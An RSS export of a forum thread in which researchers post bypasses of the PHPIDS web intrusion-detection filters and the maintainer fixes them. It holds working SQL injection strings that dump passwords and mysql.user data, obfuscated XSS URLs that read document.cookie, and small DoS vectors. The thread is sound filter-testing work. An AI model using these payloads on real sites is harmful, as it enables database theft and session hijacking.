<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
    <channel>
        <title>PHPIDS 0.6.5</title>
        <description>Hi!

I am currently creating a webapp IDS which should be capable to detect incoming parameters as malicious and react in certain kind of ways - depending on the parameter, it's severity etc. The IDS is not supposed to strip - just to recognize and log/warn the attempting user.

I have created a filter set and I would be happy to hear your opinion on that. First of all - this is the current full filter string:

([&quot;|'][\s]*\&gt;)|([&quot;|'][\s]*\</description>
        <link>http://sla.ckers.org/forum/read.php?12,30425,30425#msg-30425</link>
        <lastBuildDate>Wed, 19 Jun 2013 03:51:52 -0500</lastBuildDate>
        <generator>Phorum 5.2.15a</generator>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,30425,42188#msg-42188</guid>
            <title>Re: PHPIDS 0.6.5</title>
            <link>http://sla.ckers.org/forum/read.php?12,30425,42188#msg-42188</link>
            <description><![CDATA[MySQL 5:<br />
'||(true)#1'<br />
'||true#'<br />
<br />
'=true<br />
UNION#<br />
#<br />
#<br />
#original_by_lightos<br />
SELECT \N,group_concat(password)#<br />
##<br />
/*!FROM*/ users WHERE '1]]></description>
            <dc:creator>Reiners</dc:creator>
            <category>Projects</category>
            <pubDate>Wed, 18 Jan 2012 14:18:13 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,30425,37804#msg-37804</guid>
            <title>Re: PHPIDS 0.6.5</title>
            <link>http://sla.ckers.org/forum/read.php?12,30425,37804#msg-37804</link>
            <description><![CDATA[any download url?]]></description>
            <dc:creator>DebugZer0</dc:creator>
            <category>Projects</category>
            <pubDate>Tue, 13 Dec 2011 06:46:00 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,30425,36946#msg-36946</guid>
            <title>Re: PHPIDS 0.6.5</title>
            <link>http://sla.ckers.org/forum/read.php?12,30425,36946#msg-36946</link>
            <description><![CDATA[@Albino: the new url is https://phpids.org/]]></description>
            <dc:creator>Reiners</dc:creator>
            <category>Projects</category>
            <pubDate>Tue, 23 Aug 2011 07:20:35 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,30425,36944#msg-36944</guid>
            <title>Re: PHPIDS 0.6.5</title>
            <link>http://sla.ckers.org/forum/read.php?12,30425,36944#msg-36944</link>
            <description><![CDATA[I was going to check the phpids site to see if you mind other people using it and what for but the site (php-ids.org/) is down :(<br />
<br />
Also you almost definitely thought of this ages ago but using a client side filter and checking server-side to see if it's been bypassed provides a way of detecting malicious users that probably has few false positives.]]></description>
            <dc:creator>Albino</dc:creator>
            <category>Projects</category>
            <pubDate>Tue, 23 Aug 2011 06:49:55 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,30425,36943#msg-36943</guid>
            <title>Re: PHPIDS 0.6.5</title>
            <link>http://sla.ckers.org/forum/read.php?12,30425,36943#msg-36943</link>
            <description><![CDATA[.mario Wrote:<br />
-------------------------------------------------------<br />
&gt; @hafif Haha - nice, showHelp() - so some people do<br />
&gt; read the MSDN :D Sorry for the very late reply.<br />
&gt; Just deployed a fix! Thanks!<br />
<br />
<br />
:) Well I didn't. But now I did, so you might want to add showModelessDialog since it might enable information and cookie theft.<br />
http://demo.phpids.org/?test=%0d%2ba%0d&gt;&gt;showModelessDialog(a(0).a%2ba(0).nodeName%2ba(0).b%2ba(0).c%2ba(0).nodeName.toLowerCase()%2ba(0).d%2ba(0).e);%0d'1';&quot;1&quot;=&quot;1&quot;;a=&quot;1\&quot;\n&lt;t%20id=a%20a=javascrip%20b=:confi%20c=rm(documen%20d=.coo%20e=kie)%20&gt;1&lt;&lt;1\'1'1\&quot;1&quot;;]]></description>
            <dc:creator>hafif</dc:creator>
            <category>Projects</category>
            <pubDate>Sun, 21 Aug 2011 19:52:52 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,30425,36862#msg-36862</guid>
            <title>Re: PHPIDS 0.6.5</title>
            <link>http://sla.ckers.org/forum/read.php?12,30425,36862#msg-36862</link>
            <description><![CDATA[@hafif Haha - nice, showHelp() - so some people do read the MSDN :D Sorry for the very late reply. Just deployed a fix! Thanks!]]></description>
            <dc:creator>Anonymous User</dc:creator>
            <category>Projects</category>
            <pubDate>Tue, 02 Aug 2011 11:32:01 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,30425,36691#msg-36691</guid>
            <title>Re: PHPIDS 0.6.5</title>
            <link>http://sla.ckers.org/forum/read.php?12,30425,36691#msg-36691</link>
            <description><![CDATA[:D Indeed.<br />
<br />
The next one is an upgrade of an older bypass. I added some evasions just to prove that we have no limitation. I had a hard time generating the letter t, finally I did it:<br />
<br />
Works on IE.<br />
http://demo.phpids.org/?test=%0d%2ba%0d&gt;&gt;showHelp(a(0).a%2ba(0).nodeName%2ba(0).b%2ba(0).c%2ba(0).nodeName.toLowerCase()%2ba(0).d%2ba(0).e);%0d'1';&quot;1&quot;=&quot;1&quot;;a=&quot;1\&quot;\n&lt;t id=a a=javascrip b=:confi c=rm(documen d=.coo e=kie) &gt;1&lt;&lt;1\'1'1\&quot;1&quot;;<br />
<br />
//Notice we lose domain context... but still it has some nice stuff.]]></description>
            <dc:creator>hafif</dc:creator>
            <category>Projects</category>
            <pubDate>Wed, 06 Jul 2011 16:26:31 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,30425,36689#msg-36689</guid>
            <title>Re: PHPIDS 0.6.5</title>
            <link>http://sla.ckers.org/forum/read.php?12,30425,36689#msg-36689</link>
            <description><![CDATA[Phew - all fixed. Sorry for the delay and thanks! The showModalDialog bypass was pretty... ironic :D]]></description>
            <dc:creator>Anonymous User</dc:creator>
            <category>Projects</category>
            <pubDate>Wed, 06 Jul 2011 09:48:33 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,30425,36636#msg-36636</guid>
            <title>Re: PHPIDS 0.6.5</title>
            <link>http://sla.ckers.org/forum/read.php?12,30425,36636#msg-36636</link>
            <description><![CDATA[A few bypasses in this bad boy<br />
<br />
str'=version()<br />
UNION#<br />
#<br />
#<br />
#<br />
SELECT group_concat(table_name)#<br />
##<br />
/*!FROM*/ information_schema.tables WHERE '1]]></description>
            <dc:creator>lightos</dc:creator>
            <category>Projects</category>
            <pubDate>Wed, 29 Jun 2011 13:20:44 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,30425,36622#msg-36622</guid>
            <title>Re: PHPIDS 0.6.5</title>
            <link>http://sla.ckers.org/forum/read.php?12,30425,36622#msg-36622</link>
            <description><![CDATA[thornmaker Wrote:<br />
-------------------------------------------------------<br />
&gt; nice work hafif :)<br />
<br />
<br />
Thanks :)<br />
<br />
Here is one for Chrome and FF. using a popup. <br />
http://demo.phpids.org/?test=showModalDialog%28%28/javascript/%28{a:/javascript/,b:1}.a%29%29%2b%28/:aler/%28{a:/:aler/,b:1}.a%29%29%2b%28/t.1.%2b1/%28{a:/t%281%29%2b1/,b:1}.a%29%29%29;<br />
<br />
or you can just showModalDialog(&quot;http://evil.com&quot;), but then you will lose the domain context (and you want it)<br />
<br />
If popupblocker is on, it will block the script, if not the script will run. <br />
Otherwise, clicking on the links and launching the &quot;onclick&quot; events, will cause script execution.<br />
<br />
I am sure I can get it simplified... but I am to tired (it's 4 AM )]]></description>
            <dc:creator>hafif</dc:creator>
            <category>Projects</category>
            <pubDate>Tue, 28 Jun 2011 22:56:45 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,30425,36618#msg-36618</guid>
            <title>Re: PHPIDS 0.6.5</title>
            <link>http://sla.ckers.org/forum/read.php?12,30425,36618#msg-36618</link>
            <description><![CDATA[nice work hafif :)]]></description>
            <dc:creator>thornmaker</dc:creator>
            <category>Projects</category>
            <pubDate>Tue, 28 Jun 2011 02:16:41 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,30425,36586#msg-36586</guid>
            <title>Re: PHPIDS 0.6.5</title>
            <link>http://sla.ckers.org/forum/read.php?12,30425,36586#msg-36586</link>
            <description><![CDATA[Ha - you seem to know the regexes better than me meanwhile ;) <br />
<br />
Again, priceless find! Fixed and thanks a lot.]]></description>
            <dc:creator>Anonymous User</dc:creator>
            <category>Projects</category>
            <pubDate>Sat, 25 Jun 2011 13:10:31 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,30425,36572#msg-36572</guid>
            <title>Re: PHPIDS 0.6.5</title>
            <link>http://sla.ckers.org/forum/read.php?12,30425,36572#msg-36572</link>
            <description><![CDATA[.mario Wrote:<br />
-------------------------------------------------------<br />
&gt;  First of all:<br />
&gt; awesome finds! Some were caused by changes in PHP<br />
&gt; 5.3.x, some were plain bugs, one was a bug in the<br />
&gt; demo resulting from the server move - overall I<br />
&gt; had three locations to fix :)<br />
<br />
THANKS :)<br />
<br />
The following bypass was not so hard. And is using the shift operator &lt;&lt;.<br />
The real challenge, which was extremely difficult was the fact that there are multiple onclick injection points which caused errors before the script tag is launched (It should be noted that this difficulty might be limited to the scope of the demo application).<br />
<br />
But I managed to get everyone satisfied:<br />
http://demo.phpids.org/?test=%0d%2ba%0d&gt;&gt;setTimeout(a(1).a%2ba(1).b%2ba(1).c,1000);%0d'1';&quot;1&quot;=&quot;1&quot;;a=&quot;1\&quot;\n&lt;a name=a a=con b=fi c=rm(120) &gt;1&lt;&lt;1\'1'1\&quot;1&quot;;<br />
<br />
Works on IE.]]></description>
            <dc:creator>hafif</dc:creator>
            <category>Projects</category>
            <pubDate>Thu, 23 Jun 2011 21:25:08 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,30425,36554#msg-36554</guid>
            <title>Re: PHPIDS 0.6.5</title>
            <link>http://sla.ckers.org/forum/read.php?12,30425,36554#msg-36554</link>
            <description><![CDATA[@hafif Excuse the late reply - didn't find time to look into the issues up to now. First of all: awesome finds! Some were caused by changes in PHP 5.3.x, some were plain bugs, one was a bug in the demo resulting from the server move - overall I had three locations to fix :)<br />
<br />
It should be quite okay now - although I have a certain feeling that you might find more. About the DoS - I am not sure yet what to do about that. Will address it in a later release. Same for the links. Usually devs might wanna allow arbitrary HTTP(s) URLs - sometimes not. We should - as far as I can think now - include an option in the Config.ini.php to delegate the setting to the HTMLPurifier API we use under the hood.<br />
<br />
Thanks again, great finds!<br />
.mario]]></description>
            <dc:creator>Anonymous User</dc:creator>
            <category>Projects</category>
            <pubDate>Wed, 22 Jun 2011 16:58:07 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,30425,36500#msg-36500</guid>
            <title>Re: PHPIDS 0.6.5</title>
            <link>http://sla.ckers.org/forum/read.php?12,30425,36500#msg-36500</link>
            <description><![CDATA[Hey, I have a question,<br />
Am I suppose to be able to inject a simple &lt;a href&gt; tag ?<br />
This could be used for phising attacks.]]></description>
            <dc:creator>hafif</dc:creator>
            <category>Projects</category>
            <pubDate>Fri, 17 Jun 2011 15:57:49 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,30425,36499#msg-36499</guid>
            <title>Re: PHPIDS 0.6.5</title>
            <link>http://sla.ckers.org/forum/read.php?12,30425,36499#msg-36499</link>
            <description><![CDATA[tut tut mario with stripslashes :)]]></description>
            <dc:creator>Gareth Heyes</dc:creator>
            <category>Projects</category>
            <pubDate>Fri, 17 Jun 2011 14:52:19 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,30425,36498#msg-36498</guid>
            <title>Re: PHPIDS 0.6.5</title>
            <link>http://sla.ckers.org/forum/read.php?12,30425,36498#msg-36498</link>
            <description><![CDATA[Hi Again,<br />
<br />
All browsers:<br />
http://demo.phpids.org/?test=ale\rt%281%29<br />
<br />
A more noticeable attack:<br />
http://demo.phpids.org/?test=\%3C\/textarea%3E\%3C\script%3Ealer\t%281%29%3C\/\script%3E<br />
<br />
<br />
I think, this is due to the removal of  the '\' char... <br />
<br />
The same technique can be use for other attacks.]]></description>
            <dc:creator>hafif</dc:creator>
            <category>Projects</category>
            <pubDate>Fri, 17 Jun 2011 13:22:09 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,30425,36497#msg-36497</guid>
            <title>Re: PHPIDS 0.6.5</title>
            <link>http://sla.ckers.org/forum/read.php?12,30425,36497#msg-36497</link>
            <description><![CDATA[WOW, your filters are hard to beat !!<br />
BTW, very very nice book... couldn't stop reading !!!!<br />
<br />
Your book said that IE will fail to handle NULL bytes, which leads me to the bypass with PHP. the rules are good enough to stop the attack on modsecurity.<br />
<br />
What do you think about the DoS scenarios. They can be naughty if persistent injections are available.]]></description>
            <dc:creator>hafif</dc:creator>
            <category>Projects</category>
            <pubDate>Fri, 17 Jun 2011 12:07:03 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,30425,36482#msg-36482</guid>
            <title>Re: PHPIDS 0.6.5</title>
            <link>http://sla.ckers.org/forum/read.php?12,30425,36482#msg-36482</link>
            <description><![CDATA[The php dev team in their infinite wisdom don't consider the conversion of \0 to NUL a bug. Crazy bastards.]]></description>
            <dc:creator>Gareth Heyes</dc:creator>
            <category>Projects</category>
            <pubDate>Tue, 14 Jun 2011 16:59:46 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,30425,36481#msg-36481</guid>
            <title>Re: PHPIDS 0.6.5</title>
            <link>http://sla.ckers.org/forum/read.php?12,30425,36481#msg-36481</link>
            <description><![CDATA[I spotted the bug and managed to fix it - just committed and deployed the fresh sources. That happens when you are spoiled by Suhosin ;)]]></description>
            <dc:creator>Anonymous User</dc:creator>
            <category>Projects</category>
            <pubDate>Tue, 14 Jun 2011 15:42:04 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,30425,36480#msg-36480</guid>
            <title>Re: PHPIDS 0.6.5</title>
            <link>http://sla.ckers.org/forum/read.php?12,30425,36480#msg-36480</link>
            <description><![CDATA[Hehe that was pretty easy, nice stuff!<br />
<br />
Edit: http://demo.phpids.org/?test='uni\0on select 1-\0-\0+<br />
<br />
Yikes!]]></description>
            <dc:creator>lightos</dc:creator>
            <category>Projects</category>
            <pubDate>Tue, 14 Jun 2011 14:26:06 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,30425,36467#msg-36467</guid>
            <title>Re: PHPIDS 0.6.5</title>
            <link>http://sla.ckers.org/forum/read.php?12,30425,36467#msg-36467</link>
            <description><![CDATA[Hi,<br />
Very nice configuration, but easy to pass on IE:<br />
<br />
http://demo.phpids.org/?test=ale\0rt(kkk.v);\/\/&lt;b name=kkk v=Hafif &gt;<br />
<br />
In addition, simple DoS are available in all browsers (though low impact)<br />
<br />
http://demo.phpids.org/?test=location%2b%2b<br />
http://demo.phpids.org/?test=%2b%2blocation<br />
http://demo.phpids.org/?test=location%2b=1<br />
.<br />
.<br />
.<br />
And so on...]]></description>
            <dc:creator>hafif</dc:creator>
            <category>Projects</category>
            <pubDate>Sat, 11 Jun 2011 15:09:45 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,30425,36335#msg-36335</guid>
            <title>Re: PHPIDS 0.6.5</title>
            <link>http://sla.ckers.org/forum/read.php?12,30425,36335#msg-36335</link>
            <description><![CDATA[Finally managed to deploy the fix ;) Thx!]]></description>
            <dc:creator>Anonymous User</dc:creator>
            <category>Projects</category>
            <pubDate>Sun, 22 May 2011 16:54:35 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,30425,36239#msg-36239</guid>
            <title>Re: PHPIDS 0.6.5</title>
            <link>http://sla.ckers.org/forum/read.php?12,30425,36239#msg-36239</link>
            <description><![CDATA[You're right.<br />
<br />
1'and #<br />
#aa<br />
0 union#<br />
#bb<br />
select version()`<br />
<br />
1'and #<br />
#aa<br />
0 union#<br />
#bb<br />
select (select `user` from#<br />
#cc<br />
mysql.user limit 1)'<br />
<br />
Will leave it at that for now.]]></description>
            <dc:creator>lightos</dc:creator>
            <category>Projects</category>
            <pubDate>Sat, 16 Apr 2011 21:44:30 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,30425,36238#msg-36238</guid>
            <title>Re: PHPIDS 0.6.5</title>
            <link>http://sla.ckers.org/forum/read.php?12,30425,36238#msg-36238</link>
            <description><![CDATA[Neat :) Those bloody comments are ever returning buggers - I installed another fix - knowing that you can possibly break it within minutes.]]></description>
            <dc:creator>Anonymous User</dc:creator>
            <category>Projects</category>
            <pubDate>Sat, 16 Apr 2011 11:40:47 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,30425,36208#msg-36208</guid>
            <title>Re: PHPIDS 0.6.5</title>
            <link>http://sla.ckers.org/forum/read.php?12,30425,36208#msg-36208</link>
            <description><![CDATA[A bit more abuse with the #<br />
<br />
1' and #aa<br />
#bb<br />
version() like trim(0x3520)'<br />
<br />
1'and #<br />
#aa<br />
0 union#<br />
#bb<br />
select `user`u#<br />
#cc<br />
from mysql.user ']]></description>
            <dc:creator>lightos</dc:creator>
            <category>Projects</category>
            <pubDate>Mon, 11 Apr 2011 02:30:29 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,30425,36201#msg-36201</guid>
            <title>Re: PHPIDS 0.6.5</title>
            <link>http://sla.ckers.org/forum/read.php?12,30425,36201#msg-36201</link>
            <description><![CDATA[Wow - I hear you :) At least three bypass techniques in one vector (probably more but I managed to spot three of them :D). Thx!]]></description>
            <dc:creator>Anonymous User</dc:creator>
            <category>Projects</category>
            <pubDate>Sun, 10 Apr 2011 10:57:02 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,30425,36198#msg-36198</guid>
            <title>Re: PHPIDS 0.6.5</title>
            <link>http://sla.ckers.org/forum/read.php?12,30425,36198#msg-36198</link>
            <description><![CDATA[It had been a while since I had posted a bypass, figured it was time.<br />
Almost hurts to see this one get fixed.<br />
<br />
null' or @:=(select all user'' from mysql . user limit 1) union#<br />
#<br />
select @'<br />
<br />
http://demo.phpids.org/?test=null' or @:=(select all user'' from mysql . user limit 1)union%23%0A%23%0Aselect @']]></description>
            <dc:creator>lightos</dc:creator>
            <category>Projects</category>
            <pubDate>Sun, 10 Apr 2011 09:34:53 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,30425,36154#msg-36154</guid>
            <title>Re: PHPIDS 0.6.5</title>
            <link>http://sla.ckers.org/forum/read.php?12,30425,36154#msg-36154</link>
            <description><![CDATA[Thx :) Fixed!]]></description>
            <dc:creator>Anonymous User</dc:creator>
            <category>Projects</category>
            <pubDate>Sat, 02 Apr 2011 10:49:34 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,30425,36126#msg-36126</guid>
            <title>Re: PHPIDS 0.6.5</title>
            <link>http://sla.ckers.org/forum/read.php?12,30425,36126#msg-36126</link>
            <description><![CDATA[welcome back =)<br />
<br />
fo&quot;o'or'1]]></description>
            <dc:creator>Reiners</dc:creator>
            <category>Projects</category>
            <pubDate>Wed, 30 Mar 2011 11:32:01 -0500</pubDate>
        </item>
    </channel>
</rss>
